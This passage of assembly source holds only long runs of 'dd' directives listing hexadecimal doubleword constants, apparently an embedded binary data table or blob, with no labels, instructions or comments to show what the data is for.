0E323A9F0h, 726D8D01h, 5B4E7A45h, 701FB4C8h, 8861B0E5h dd 11C3ED0h, 0EDAE306Ah, 0D5E37B8Bh, 0DCD08383h, 0ABC40727h dd 6990058h, 43D84D81h, 7D0F8DBCh, 20275101h, 4AE9154Ch dd 0BAC10A58h, 11641D03h, 4CE21D84h, 0D2CF4743h, 0F1C4B817h dd 91710782h, 30E1D9EEh, 0A4A6FFDCh, 7BA4CA48h, 5BC03A00h dd 64393F4Ch, 48574C11h, 264886C0h, 0EE0E01A1h, 61142008h dd 0E96F80ECh, 8F070433h, 0D0B5114Eh, 9FE041D6h, 0BB0C20B3h dd 17F299Ah, 87C23631h, 0D957BD81h, 0EA198012h, 0AA867B5Eh dd 0B5CA488Ch, 1FAC6C0Fh, 0CE21E580h, 3FEC9D72h, 0B5447890h dd 50D213BBh, 0D90800E1h, 0C21D0189h, 9847254h, 0FC0FCDF4h dd 65D45932h, 0E700194Eh, 0C2E928BAh, 0E8520048h, 0D1EA9771h dd 12B86CC5h, 2D5ECB12h, 3D599C00h, 983D7h, 553A45BCh dd 3B4CD58h, 404B893h, 811E187Dh, 0C332CCC2h, 2BB4C4CEh dd 0A829B065h, 3FD882AFh, 4C7068C6h, 0B4B18D0Fh, 3F2958F0h dd 80C09943h, 0DD4F8EAh, 900097ADh, 0D21001E7h, 930CBB8h dd 6094E212h, 31A20CDFh, 0CFA7Eh, 0F44F7514h, 0AA3A5263h dd 411FCC00h, 0B335946Eh, 67B772FAh, 0A43E714Ch, 0DCA89116h dd 812E600Ah, 9F591D00h, 0CEBD4614h, 0A8610A36h, 94D44D37h dd 3316F72Dh, 0D4781C47h, 0A201AB87h, 0E4F9C9C0h, 8F2BC85Bh dd 0A56B3600h, 671AF0EAh, 0F7B428AEh, 0D7310074h, 6F23981Bh dd 0D5000915h, 3751363Bh, 91D69B13h, 7CC8802Ch, 7055970Ch dd 2A0B3902h, 923377EEh, 6DFC80A4h, 0C99044h, 4769AAACh dd 0F9D7E452h, 30E72B2Ch, 0DF217D60h, 0D02A00FBh, 821C1947h dd 8800DD68h, 0C16F949Fh, 76603C7h, 1AA82B43h, 0BAACDA34h dd 0FE694854h, 0E45A0039h, 0A568D28Eh, 93006167h, 0AEE781C7h dd 4E9189Ch, 0F4F522C5h, 4238A4DEh, 0DBBABB00h, 5E462656h dd 44EC5CFCh, 9F097E22h, 8434E911h, 1154AB94h, 27291C0Eh dd 0BED0800h, 0D800B868h, 0CCA6CD67h, 6034230Fh, 91A4E143h dd 212C8D41h, 32005C65h, 16F4C281h, 1EC051Ch, 0C7597013h dd 0B7867384h, 1BD888E8h, 0EA9A908Bh, 0F602000Ch, 7B1CE50Bh dd 0A4035F2Bh, 0FEBB8ADBh, 2069504Ah, 1DB9D608h, 0E2E2230h dd 1C122888h, 877B2844h, 22B450C2h, 4409B7h, 0E0D952h dd 26451ACDh, 6F770CCEh, 378A2181h, 38310038h, 4FA4592Eh dd 3016FC7Fh, 0E409DA7Dh, 0FC430F0h, 0C93412A9h, 401C8D93h dd 0B7706810h, 5165D87Dh dd 388259D0h, 2908E003h, 7B2E0636h, 0D08D3F1Ah, 78DB4844h dd 8985062h, 30240064h, 0D454B421h, 86076B20h, 2B55E332h dd 4FCC51D0h, 0D0EF0063h, 0F6AA8FEBh, 3F18B9E7h, 0DD293718h dd 0C6C32CE1h, 221303h, 12F229EDh, 2738665h, 0DA267001h dd 8EBEDE41h, 60597EF4h, 0B33360E4h, 73016122h, 4CD68D88h dd 188E7F9Eh, 0B809BE3h, 5275DD8Eh, 0E7A59A00h, 0EEA256E2h dd 45AB0102h, 1E64D328h, 9F6EF86Ah, 84B28000h, 0CF717320h dd 0C0917754h, 58974CC9h, 1B1B92C9h, 0E060061Dh, 0F247686Eh dd 21491D04h, 31C3D8B2h, 0E1C3DB7h, 0CD00FA91h, 0AEEA6422h dd 1EAA005Ah, 829D564Ah, 0EC031DDEh, 5B2AFA09h, 21D101E9h dd 39C18A13h, 87B3E894h, 44181406h, 77D95499h, 0FECA0074h dd 0E9EAAF4Ch, 1A18BEF1h, 0AE30A03Ah, 832900F4h, 0F9F5D00Ah dd 0B9F8A7C3h, 0A0CBA300h, 0E9E626Dh, 718160B2h, 0A49FDE8Fh dd 68398490h, 3D1D9508h, 62891FCCh, 0DBC0DC5Ch, 0FB98822Eh dd 0C4A73BC5h, 6C9D9107h, 6960CCF0h, 72ADE203h, 752F834h dd 7BDE56A9h, 4122704Bh, 15541EBAh, 0D7F6B89Ch, 8D7CB300h dd 8E2AE1D3h, 396B6099h, 4E3B9501h, 270823F6h, 80091803h dd 0E7FA39DFh, 210FA3DAh, 25C230h, 9D280FEh, 0D6C61ED0h dd 0BAF94370h, 0F8283588h, 0EC50B073h, 6D18F8B8h, 0D76856D2h dd 3AD02481h, 0CF3B0100h, 0C4F49138h, 70009871h, 2B581CBDh dd 0EA8A4Dh, 83E0C349h, 0FAAF7E0Eh, 7D541215h, 0DAFC00A0h dd 0FB168E91h, 0A68107B8h, 0E0805010h, 8F7AC28Ch, 55A05900h dd 0AA1A2F57h, 0AB561204h, 6B6040CFh, 5E1CD5C6h, 91309C90h dd 4C8119CDh, 8B040E87h, 0D0748DBFh, 0A7D03200h, 0E4F2CD52h dd 0F831D528h, 42063C06h, 198027Fh, 68494827h, 2219C8B1h dd 825A00B0h, 0FB22E88Eh, 0E6F70083h, 1B73160Eh, 3C015094h dd 2ABDCC5Ah, 60243868h, 0E65FF86Fh, 0D6D8007Ch, 0BFA6C0F4h dd 9C00B779h, 0D698587h, 3893FDFh, 0FBE3301Ah, 90078A0Bh dd 7E841EB1h, 3465DF50h, 0E3B8A862h, 0E009118h, 28C1661Eh dd 0EC89539Eh, 210AAF2Dh, 80CE9A6Bh, 0A84BBD80h, 246482C2h dd 0B078FEh, 98DDE130h, 0D9CA8D56h, 0C560C42Bh, 2CF0E1Eh dd 24BAD19Eh, 403FCAh, 8730563Ch, 4E363130h, 7AA00145h dd 2086E81Ah, 25E1DC8Fh, 791B0458h, 801E2600h, 0A1AEBAC9h dd 0E4053AFFh, 0C007B31Eh, 2E377981h, 92008A7Ah, 0D2950AEh dd 18A331FBh, 307ED3AAh, 1F7BA69Eh, 740067F2h, 80763B8Fh dd 0C627C3h, 99D2923h, 0A19E0604h, 0FE0FB9FAh, 9BF496F6h dd 52E3C870h, 243101B2h, 3830E49Eh, 920EEC69h, 0DCA9B300h dd 0D0775523h, 685D01CBh, 7F84C81Dh, 0FF50800Ah, 8099CDA0h dd 26630EA5h, 16000B49h, 84B5EDC4h, 29CF09E2h, 0FD5B2022h dd 6F6949E7h, 0A680B8F8h, 67FCF148h, 3012FE12h, 3C1BDF00h dd 6DCB2Dh, 46BFAD16h, 2AA1580Fh, 31F18360h, 0E842340h dd 6DA35537h, 78B2AAA6h, 81C8A101h, 2196C038h, 0E265E1CCh dd 0BDE3154Dh, 9214B0B1h, 6A0E8370h, 2A49A555h, 0D71F9E81h dd 0EDB860F7h, 24495401h, 9F98913Eh, 20D2C180h, 51DEB33Ah dd 8FC0EA00h, 0BE1E019Ah, 3559C5A5h, 0EDDA0380h, 0ECD7361Bh dd 0F6079E19h, 0DAAB7067h, 25232BA0h, 312C0044h, 0FB47B43Ch dd 0A07BB038h, 0C2C018A3h, 11C0FABAh, 0DAB65434h, 5C530768h dd 0C06FDF96h, 3A66C942h, 35330101h, 89D3AF60h, 3BB9419Eh dd 5A217B80h, 0F9DEF147h, 9472B8A8h, 3C0443Dh, 0E0A5B453h dd 79F2C041h, 0A4E5500Eh, 7FD63097h, 4893D549h, 0DB007476h dd 8B75773Bh, 2C641E4Dh, 39C1F9BAh, 0A9A7849Ah, 0B08FA980h dd 0B700385Bh, 8D68F422h, 6EDEAF80h, 0EB078150h, 18041197h dd 0BFEB2174h, 0C6CB8019h, 0DA0A2F7Fh, 0EA73E4h, 0F79F201Dh dd 791BCA73h, 0A0AC415Bh, 1416CC00h, 32F271A0h, 0C15B6B01h dd 91D31BE9h, 6445B980h, 0EEAA184Eh, 62D64C00h, 5646F586h dd 0BE0A008Bh, 10C27F5Fh, 250C1DF0h, 89FE049Dh, 0F89A5498h dd 32F900EEh, 793EBE9h, 0FB0CBAD3h, 8A5B284h, 0A0FA497Fh dd 80F8547Ch, 9143006Ch, 7C63B34Bh, 0D01C61Eh, 0A989275Fh dd 59800696h, 0AF57E492h, 47031E3Fh, 5C1B56D8h, 7C19F186h dd 4F01C183h, 0E690A054h, 5F03D042h, 69624134h, 92A900FBh dd 0C2748B65h, 4B67C171h, 0B07167C6h, 75C04369h, 0DE6D1895h dd 641231FAh, 8D5FAE00h, 5417065Ah, 0A49D148Eh, 0A3014C97h dd 7322DF1Fh, 98D53028h, 0D0DEAD29h, 63A49830h, 0DAC601B8h dd 726B1424h, 0D6A72067h, 71BEB6A0h, 0CE755F02h, 81226E31h dd 9D96C4EFh, 3F624180h, 6CA5260Bh, 0BAFA2D0Ch, 792959A9h dd 0C8160E06h, 0B8206040h, 0AB5503F0h, 5A37F601h, 0C06FEB7Dh dd 72711840h, 0CBE50335h, 54336A87h, 98DA06F8h, 0A909CF7Ah dd 815313C3h, 9FF7924h, 3395BC0h, 1F9291F3h, 491D9FBDh dd 81FA82F8h, 0C977A671h, 86F448BFh, 8BF302FAh, 1DE6B50h dd 401190A7h, 0E2572F76h, 1EFBFF00h, 1B67E086h, 5F4D00DFh dd 13B4E70h, 889189F9h, 0F4004824h, 97216E3Ah, 0DEFA15F5h dd 5000A80Fh, 9F1607DFh, 91F1FB5h, 8340406Bh, 0FDD8B3B9h dd 0E4580C12h, 8E812969h, 11E75F00h, 3233DC08h, 0F82C1C23h dd 281FCE7Bh, 958061CEh, 25FE6DFBh, 0A4B9AD3Eh, 0CD1CE8FFh dd 70BE3803h, 15639079h, 22510F31h, 0BA84ED20h, 466088BDh dd 87916C3Eh, 0D24ECAF9h, 0E9707120h, 0AA1D00C0h, 18C4EB23h dd 97F83453h, 0BDEC1254h, 0BE45430Eh, 0B187E1BCh, 0A0F0178Ah dd 745D0282h, 85D6CD94h, 0E87E6C49h, 0DF00277Ah, 0C777F69Ah dd 22295E8Bh, 1400FADEh, 0A2316523h, 3A3F616Ch, 968090ABh dd 80344F8Ah, 0EB111CF1h, 2600F7DEh, 86F8BF53h, 5B00820Fh dd 0DC1E392Ah, 26634BA6h, 9B484CAh, 741098A0h, 0AA14104Fh dd 1DE5BD6h, 0AB37164Ch, 2189A397h, 7D000D5Ch, 82CD5C7h dd 0CF458E6h, 69C23D0Ch, 1B7951h, 0BABB3221h, 858C3116h dd 8030BE58h, 0B7747597h, 0BC0004Eh, 4FC73CCEh, 39EC2735h dd 0F7ACFF00h, 681B2684h, 540E0356h, 7742E9DAh, 0F8862289h dd 0ACB0BED8h, 15EC683Ah, 40A0901Fh, 313DB1E8h, 10BE2C97h dd 0A0503B40h, 3D910376h, 340387F7h, 7DA7E9B0h, 2A2F2E00h dd 9D16F4B6h, 840254FCh, 91231F71h, 0D626C624h, 0C2006186h dd 7DB764EDh, 0C67BE7h, 0BE424B7Ah, 19DEE8F0h, 8BFA300Ch dd 26B79A4h, 232C88F4h, 6CC01B17h, 88B15471h, 0A6634A80h dd 27ECC33h, 1E86F1Ah, 484111CAh, 807CC5BAh, 0FD7F6C29h dd 0E7F1D3EDh, 0FA37B240h, 0C934A087h, 0B77B2EEEh, 4FE96078h dd 8B00C45Ch, 0FC9F2377h, 0F637617Dh, 70570878h, 0D4802969h dd 36CFA7AFh, 0CD050E4Ah, 0DE0058A4h, 38080484h, 194DB600h dd 312BB078h, 0D5C0A06Fh, 5D978A4h, 358E702Ch, 573880FBh dd 3590F489h, 0D3999D63h, 2E91078Bh, 203A27D7h, 80B74896h dd 38387D30h, 252ABC4h, 441DA6F7h, 484273B6h, 0C4D9F427h dd 6754C0E8h, 265CCD9Fh, 555B023Eh, 9084FA99h, 0A6219D90h dd 836E04DCh, 0C81DF8EDh, 4CB07034h, 6C4CCD2Ch, 0F72A6000h dd 80C07Eh, 0D713A129h, 0FB2590C6h, 0AB1688F8h, 7840ADD3h dd 2E37FFE4h, 0EC5800B5h, 31B6699Fh, 3003D75h, 3510FB9Ah dd 9101C26Eh, 275E80F8h, 0E3A47BF1h, 24F1A1Ch, 34953AC0h dd 1E195F75h, 18F6D7D4h dd 189D310Bh, 0B0812C00h, 0A0E6FBEEh, 179CA420h, 1514D01h dd 46F03128h, 509AF97Eh, 0D50FC50h, 0C00C4C00h, 0AB59D95h dd 701401FFh, 2B614F96h, 63D1F578h, 0B1CB0354h, 0F037F5BBh dd 7D6DB85h, 1BCB771h, 447A80A8h, 210614CDh, 82915108h dd 4E550189h, 0FA9723C9h, 0B9BE89h, 0B0CD1641h, 3EFCA586h dd 384424A0h, 618AF48h, 0A7B68088h, 1DF61F34h, 0D8234069h dd 0FDAF6B8Ah, 997A8430h, 0FEB357FFh, 269894E6h, 0EA51144h dd 1AD0E4Ch, 28A60BBFh, 98BD030h, 1EE86925h, 0B8501480h dd 0E00CA35h, 0C189864Eh, 0FC942387h, 60752C9Dh, 0E04602Ch dd 0E4005C06h, 8FB40BC7h, 1F1B728h, 0CE94222Bh, 0D6CCF67Ch dd 40B42063h, 82470331h, 18D8006Ah, 4DBB35C8h, 74B0A756h dd 3EB2038h, 9A75A5A9h, 38B1EFF8h, 0BB21A112h, 80C18814h dd 70E399h, 0DEE62EB8h, 349D4254h, 61134B60h, 105C9A01h dd 0E6FA0A51h, 4E77A041h, 17834C4h, 14AFC4AAh, 361EA0F8h dd 0D6B00978h, 82EB8h, 0A016017Eh, 2EE0015Bh, 9DA7E50Eh dd 0A1218038h, 0FB8D58FAh, 1E963E7Dh, 27BDB913h, 0F9B4A094h dd 890003B6h, 73FB7701h, 1396118h, 794A0446h, 60A5F41Ah dd 5B05B5DCh, 0CE7BF749h, 62608Ch, 91704888h, 61694C20h dd 34921C12h, 0C3D89060h, 756A00DCh, 911C02CDh, 22016806h dd 6C3FC7E9h, 2843D3C6h, 4C25E801h, 63C100E1h, 487D3045h dd 5D004062h, 690F4A0Ch, 0AD7D308h, 0D2555CCFh, 221200DDh dd 3718409Ah, 0CE8BCA19h, 0AFC9E20h, 30570092h, 69EB7560h dd 0F800490Eh, 1F20A2C6h, 78589C0Fh, 30CD656Fh, 4A9DC6D3h dd 60030EAh, 0B8DF6C0h, 35AF54Ah, 0CBAA6962h, 6106D01Dh dd 0A045D20Ch, 6B840D91h, 0E248D598h, 1F64B240h, 4FFAAA05h dd 0ADC05AC0h, 14A8286h, 80B8FE35h, 0E41B3161h, 60F1C266h dd 6C015781h, 41C4AC70h, 0CAE4B742h, 71D5601Eh, 1A71A550h dd 3962A304h, 8FC7C68Ah, 428F6840h, 0C829FC9Ch, 88DE530h dd 3F60D9D0h, 0CDBA01E7h, 9CB513F1h, 2F54DC4Ah, 5EECC3E0h dd 191F5600h, 681EF004h, 21600D6h, 6A800571h, 49C9FED5h dd 0E86706D7h, 8B8F0361h, 0E74CB546h, 1A638AB0h, 0E5C2D1Ch dd 0F00A88C0h, 308EF32h, 5762DD02h, 81C02833h, 0E2050650h dd 2234D2B0h, 0AD68A045h, 0C0BAA44Eh, 76A78AF2h, 9D6F05FDh dd 0C09C6D59h, 8236DB0Dh, 6840490Ch, 776231B3h, 0B5E200B7h dd 16172A75h, 0D93859D2h, 12448FDAh, 5D322603h, 4AA60678h dd 0D1B407E6h, 0A47D7C00h, 8A42820Eh, 46F50CB9h, 2DE1B0E5h dd 0FF00EF73h, 0A752B2F9h, 58CA2FE1h, 88306453h, 190F1250h dd 0D451D210h, 8A41D70Ch, 851857DAh, 0F610E324h, 84E81F16h dd 9CA10D20h, 60C4E0B9h, 0A63EE57Dh, 6680804Fh, 0D5702112h dd 0CB8A438h, 0BA0B5709h, 2D01E911h, 0FF307A8h, 64400881h dd 0DBB1F0Eh, 91CB779Fh, 98EAF061h, 4849CD63h, 0C47BB06Fh dd 6AB80E7Ah, 0DA445BA6h, 12F6C035h, 34A87F44h, 6700C5EAh dd 8C732E47h, 123C3056h, 702870D1h, 37D4C248h, 0F0900500h dd 0FDFB52F7h, 0BB313008h, 41822549h, 0C5AF7D18h, 0D0F389h dd 0B34E1891h, 0AE7C3EF5h, 0E065083Dh, 72C7CA20h, 7F8F0034h dd 73547042h, 46004071h, 28B0F949h, 50D556C1h, 30CA6C57h dd 3591DF20h, 0CC480521h, 2C8700F8h, 91C16A3h, 1830A250h dd 1D4CA688h, 8F6B5h, 1D4E4AFCh, 333B90BCh, 0D35160AFh dd 0A4F26E4Dh, 1DDD00A8h, 671A4FF9h, 33003285h, 118351F0h dd 167357h, 0FFAEC150h, 0DA46BA87h, 0A5083413h, 0CE571306h dd 0EF4F0079h, 0F5019B1h, 0CA28B0E6h, 0A5153087h, 5F385ADFh dd 2C72B0h, 7A8289C6h, 5D65583Ch, 9C985224h, 3AA564Bh dd 189060F6h, 6900CBE3h, 5C7972FAh, 1DCD086h, 1B1F7AACh dd 0DF451A3Eh, 0DF48802Eh, 0FB437800h, 23803E2h, 7F8AB67Ah dd 3EC1AF02h, 8021D199h, 41CCA469h, 1A4DF7h, 926E6035h dd 5D762EDFh, 0FE172507h, 0B47AC671h, 4D911280h, 46195Bh dd 0E5F24E01h, 808418F9h, 0D738B01h, 0C70BA845h, 0D721E610h dd 0C14658h, 2C7FC878h, 3721FF6h, 42F9D537h, 0AA86256h dd 66360B8Ah, 26039C6h, 1DAC5ADDh, 0C08920h, 6F84D51Ch dd 0EF09293Bh, 22AA5C98h, 5AA94200h, 13BFEDE3h, 18DB883h dd 2E17C2A6h, 40F2AB69h, 7F19BC88h, 0F4683360h, 0F8F0C565h dd 732D06EFh, 61B9087Ch, 0F9A2C200h, 842A695Eh, 1B980056h dd 59223580h, 0B8A03039h, 7B7FEC14h, 0D1587900h, 0D2709FC2h dd 0F89D544Fh, 3922F6F6h, 2E0659A1h, 0B1DBF221h, 0FEE0C600h dd 41DF137Eh, 506D6088h, 0CB667B0Dh, 0DD782258h, 9FFAC384h dd 7DCD0780h, 80F458D1h, 2D210A7Ch, 80D07E08h, 0C28C946h dd 0DA00C771h, 891A98C8h, 4DDE4CD2h, 922C89Fh, 9E583401h dd 299B921Dh, 350C5C0h, 75F1319Ah, 3100E098h, 13FF0FAFh dd 43B55Ch, 28EB441Ah, 0F4F93974h, 0F1B8CF16h, 3BF64C20h dd 463A00EFh, 26CA6241h, 0C28219Fh, 70A650ABh, 85083707h dd 0A3A551B9h, 7B02C405h, 0CFEF8002h, 0F18880B5h, 7CCB1F1Dh dd 7383004Fh, 6F879256h, 0DF6FAF9Fh, 18B54FA1h, 0B0762Eh dd 0E8D626CBh, 0A649EF42h, 0E85B5426h, 7A9D0D00h, 3C71D35h dd 0CC10660Ah, 0B900DC8Bh, 0F8551902h, 5082D2D1h, 4C92D8DAh dd 0B58040F1h, 5D3A27D4h, 0A6A9000h, 916DAB52h, 0A7E11DE3h dd 9560C099h, 36EE96B6h, 0F0E752h, 3D5974C9h, 0DF4AD2E1h dd 7B6C05F9h, 50A08241h, 1979A864h, 9885DC1Dh, 27BF4A2h dd 0F65AFEAh, 34404086h, 6E12AE38h, 144033ABh, 88393A78h dd 1F407401h, 1671E42h, 4ED214EAh, 7E719D0Ah, 64604DD6h dd 24EB5811h, 127C6681h, 0E2FC017Fh, 6440AF53h, 0C028AEE4h dd 0BE139888h, 0B030335Bh, 125E24h, 0D376C9Ch, 0D2235581h dd 1EA21802h, 0C4697E0Bh, 164B00E0h, 0B5015A2Fh, 371CB912h dd 0A0C09931h, 28F6BD4Fh, 0BA160A40h, 809827F1h, 0B8884BF3h dd 0F206D89Ah, 0F9AFBB3Ah, 0F5FA0079h, 0A7F709B7h, 60005F1Ah dd 0EB26AE65h, 0A8CC0851h, 0E64A4h, 77AC844Bh, 4E34BCECh dd 0EA88AF03h, 306D57h, 3F55D0E8h, 51973C39h, 0B41FCA24h dd 2ED280C7h, 8F4E1C1h, 36006432h, 0D54F8B52h, 0C9E0C5DFh dd 45EE8000h, 61ED1149h, 179A0008h, 0BC48F3Bh, 9888D75Ch dd 47C1C0FAh, 3C6F0E25h, 0EAB75D00h, 36CC546Ah, 0AE5724A8h dd 0C0173F00h, 0F8D40EC4h, 8880C28Eh, 34FAA04Dh, 0F1B6FE0Ch dd 3B6A59E2h, 9412F865h, 7987002Fh, 6804CC24h, 0C9C14009h dd 277C480Bh, 0AD93129Dh, 53780FFFh, 0D6E71983h, 1C4939h dd 76523099h, 5CCEEEBEh, 4E01E939h, 0C65992ACh, 2A4980D3h dd 0FFE3E58Fh, 0CCD900FDh, 73FB3EC1h, 75F6DA57h, 48463F01h dd 0A4721231h, 136B0024h, 0C152E9h, 4879A9C2h, 62092AB8h dd 993E4CADh, 3E03A44h, 0E40A006Dh, 14B5853Bh, 0A4075629h dd 728A60ACh, 0F23C80C1h, 0B2003432h, 0CDB77913h, 2B0137A3h dd 0B9AF6A7h, 0B187B531h, 996D7DFEh, 0E0099448h, 2E803901h dd 0D7AA5E37h, 0F9FEAC83h, 0C0DFE233h, 6BAD0C5Ah, 0B899549Ah dd 0B9070480h, 56CCC6h, 88383589h, 0E3DF63C5h, 0CDABC40h dd 0B67D0A1h, 0E4E668D1h, 2BB09100h, 0CEA93F4Ch, 878F0479h dd 81B72E22h, 11CF60C8h, 40F253CAh, 1276FFF0h, 0C0C6802Dh dd 0FEA76F6Ch, 2CF2861Bh dd 0DB5C00F9h, 0CD5B71BBh, 950757FFh, 0A4110746h, 81B0A6h dd 0A881B690h, 327464B9h, 1634AD00h, 8517B266h, 1F3103AFh dd 0D1E6C580h, 7FF85901h, 388347FCh, 9CBB8740h, 0EF910B10h dd 58185857h, 8A09893Eh, 0B3DAAC4h, 38D0309Ch, 0C40748FFh dd 0E1B65180h, 5F5080A1h, 2A03F4D3h, 68AA9688h, 95A900AFh dd 0F61B0BB5h, 14722699h, 0AA0038ECh, 0FA91B47Fh, 30281184h dd 6F310568h, 4B0052EBh, 3614B14Dh, 0B198FB57h, 0FC900004h dd 106FF018h, 71DABF09h, 19030096h, 3C0B0DF3h, 0E829416h dd 0A3E1AF75h, 532244A0h, 8D003658h, 41BDE59Bh, 0B9E83Eh dd 30D977FCh, 8FE1813Bh, 1F046F76h, 90A54F9Ch, 2E1BBCC0h dd 49E7635Dh, 0E9EB939Eh, 4D221FE0h, 9492DD02h, 0C0F3C866h dd 2814770h, 9FE84F37h, 8C64BD2h, 7A407900h, 5AF1587Bh dd 0DFEB0A50h, 0C7B01ECAh, 0D23322D9h, 3925D2C3h, 0BF68A0E6h dd 15351E0h, 0A5A9E4DCh, 30562F80h, 0E92E98E4h, 0E881547Ch dd 0FF4F33ECh, 847DC0D3h, 53D21159h, 508000A1h, 5D9608BEh dd 0F871024Ch, 0E7704DADh, 26003C64h, 8987CE20h, 10193Fh dd 0A3AF62CAh, 0C78E2553h, 0CCEF5B00h, 7628D9ECh, 93C10B50h dd 20040E3Bh, 0E6AB40C6h, 1800D87h, 748B78D1h, 0F8B653B1h dd 3700C269h, 0A74FE346h, 4A65EA2h, 3108F19Eh, 0AFCC927Ch dd 0E6004CE4h, 8E185158h, 0E2EED66h, 6F1D54E9h, 0D33B3100h dd 1E3C89A9h, 342C876Eh, 0D4FACA42h, 36708049h, 91E08DEBh dd 0A7C58FDCh, 827CA4A0h, 0D0A2193h, 8CAAFCCEh, 51E5F900h dd 0A4689078h, 0B8BE0198h, 0B6E1B216h, 1808203Dh, 8429C41Fh dd 6CE7047Dh, 10B54DD5h, 0C0215160h, 1A4B4228h, 2700827Dh dd 0F88A1261h, 19A952Eh, 55B9609Bh, 0F163A406h, 0E06F200Eh dd 921DCE7Ch, 37896E8Ch, 0EB7848F2h, 0EAE20744h, 1079B5CEh dd 62AD2093h, 2E5A63Ah, 0CA447C7Bh, 9874E41Ch, 0D2D603F4h dd 0B9A15799h, 43E945AFh, 0E385CAA8h, 8028295Ch, 228A2698h dd 48BB7403h, 0D209AD50h, 3021DFA1h, 0E516A0B2h, 85842C39h dd 0DC8C9003h, 37CF002Bh, 0A94CBB95h, 0AA724AECh, 913DE338h dd 6707B90Bh, 0E2BFC03Bh, 0F464E54Dh, 5D85ED00h, 16DC7EFh dd 1345E811h, 307B561Dh, 2425A7D0h, 7F5CB500h, 0A535F027h dd 29D405FFh, 1AF3F06h, 7E9D2614h, 0BF5FDC4Fh, 2B1DFE1Eh dd 50C8C153h, 0EEEB1CAFh, 0F08740D9h, 517FB8DCh, 0D8ACA100h dd 8675B615h, 8014B241h, 6F605Ch, 0F96AC397h, 0BFB31989h dd 8C300C2Ch, 301B3A09h, 2C4E6EB0h, 3EF8C2A4h, 0B4148214h dd 899630C3h, 0D0548FC9h, 132E5146h, 0F385F46Dh, 0ACCC8535h dd 5BC901CDh, 65139225h, 42E5CCF7h, 170E5300h, 0F36A77D2h dd 0AF84167Fh, 0C48027ADh, 0F1748847h, 2AB0D454h, 5BCAA501h dd 1268E192h, 7F852180h, 0C11C3C7Ah, 0C49AAC0Bh, 0EC8490C6h dd 0EC98E059h, 83EC5Dh, 47EAD681h, 0FEF53562h, 276B4D3Bh dd 2A18200Bh, 0F9C7BF0h, 40124337h, 1EFF8EE1h, 6E0DFC06h dd 6FDFCF02h, 681957D5h, 0E75088h, 0D0EDEC90h, 53CBF4ACh dd 7060C307h, 0C0F05CDEh, 58E1696Ch, 0D322F009h, 3F5AC0Fh dd 7142C07Ch, 0FCE7Dh, 392EA85Ch, 11EE0D8Ah, 12A66499h dd 15D56400h, 0EEADD104h, 0F8AFAF2h, 0E04F95ABh, 40483A4Ah dd 0BE8B3D58h, 40E0784Ch, 0CA3F40EDh, 0D251E284h, 18188D46h dd 0DC0827D2h, 0BE0054A1h, 0E9DB2BFCh, 1D74721h, 64F77F59h dd 38D240BAh, 0E0311180h, 3BCAC804h, 8B21Dh, 0FE7A0139h dd 0B01B2C23h, 0D8104C28h, 54436504h, 2040C38Dh, 0C011A01Dh dd 357EEF05h, 336A20C0h, 49CC60AFh, 0AD0F34CDh, 7500A1B8h dd 898DF4BDh, 4746928h, 61B722D5h, 5CA27Bh, 7311863Dh dd 2BCAC33h, 2A83144Fh, 6E41B012h, 8BF0C3CAh, 0BF518480h dd 17042384h, 6400EFDAh, 0DEBD644Eh, 4C664B08h, 7BA08778h dd 7F0E091Fh, 821A0F00h, 2392050h, 860AD1F9h, 4C41020Ch dd 38801008h, 4DC3038Eh, 0D5D0EC1Fh, 0E6F07298h, 9AB82A54h dd 77460500h, 0E3A54A9Dh, 0FC2F5A60h, 8AD840DCh, 39117342h dd 0B367111Dh, 78132F00h, 2905A8F1h, 0C648EA03h, 0B8EEA769h dd 1FAA11Eh, 549D965Eh, 73CE38D5h, 571502E0h, 0C3187966h dd 0FAB80898h, 10800771h, 4640497Fh, 0A1150101h, 0D10D4E73h dd 0E0F9D15Bh, 0A9124A0Bh, 0CC201FCBh, 122D2133h, 61E0893Bh dd 73253028h, 0A4BE0088h, 0C692CD79h, 16E274h, 1EB84220h dd 5C0A0724h, 253BD514h, 82274h, 1F025255h, 10F69D78h dd 0A0726B09h, 404C8EBBh, 223DAB71h, 303B25E7h, 5F53FC90h dd 174D84Ch, 0CC15EDF5h, 0DA41BC69h, 0A1802EF2h, 6BB06AA2h dd 5A008A8Bh, 6FE5157Eh, 182E485h, 3FDB82Dh, 290B19B3h dd 0F4E91FB4h, 81B0003Ch, 0FAA01AC5h, 0B956006Dh, 0CEF8D21Fh dd 0F1134248h, 0FC1DF037h, 100E824h, 66844713h, 6E1901BDh dd 5C810AD5h, 899C70ACh, 38C0D945h, 0F90C6068h, 1423C1B6h dd 4D00C0F8h, 624534C3h, 60DC4BA8h, 0E70B5838h, 4A01AF77h dd 5936F310h, 0B87268F8h, 0A780DE3Ah, 0B9495DC8h, 5C00F9A0h dd 0C4D20C77h, 0EA297AABh, 8B809160h, 0CA55AE6h, 0A8888C6Ah dd 0F43D64F2h, 1C4D8F1h, 14119459h, 4C21C116h, 46013479h dd 0CA377CDDh, 1E06286h, 6B8D055Dh, 0A872AF45h, 5FAD0F7Fh dd 2BE081C8h, 70ECD61Bh, 0E7F04212h, 0FE91F090h, 1F320548h dd 8057B2C9h, 1CF73ED0h, 0F24CF412h, 9822A020h, 537F0021h dd 50A3EFC4h, 401C55BDh, 58405DE4h, 0BA830EAEh, 4F451D6Fh dd 0C41F7FEAh, 3ADF6C80h, 41C86607h, 75E1C08Ah, 2A755B84h dd 0B70014B8h, 6034E4D8h, 2495F57Eh, 4F904AD2h, 409C3320h dd 0F8E9037Fh, 46F20612h, 0FDAFCA00h, 14A432D9h, 262F01E0h dd 0E62DCE84h, 0B120802Ch, 8DCF29E8h, 7F41E419h, 0EBE50306h dd 977A6669h, 1D96E3B0h, 4451C767h, 0D3CBFCD0h, 0C45F006Ah dd 7EB7910Bh, 9D01E432h, 0CD40536Eh, 318FB812h, 805D9615h dd 0B3480149h, 0C50F84F6h, 5B0B4273h, 6DFFF080h, 0E67259h dd 802423E4h, 0F5BC1326h, 6A416000h, 0E0BE2B52h, 4437183Bh dd 0B775B917h, 0E2FB63Ah, 7FB02ABCh, 674151B0h, 2ECF8CFh dd 0F12E7119h, 4A43B03Fh, 42EE2101h, 262AA3E1h, 0FE2F7EF0h dd 107939A5h, 0AFA73A83h, 1909EB3h, 6002E0Dh, 0B285FC11h dd 0D9B1B040h, 0C83938D9h, 0BC07815Ch, 0EAA95F18h, 0DC431197h dd 29D612h, 0DD7AB497h, 5924CDBh, 4E00BC90h, 5BFB65BFh dd 184AF7C6h, 31C4126Eh, 1E587E36h, 2197075Fh, 0C1B032ADh dd 309C5680h, 9381CCDEh, 230577C2h, 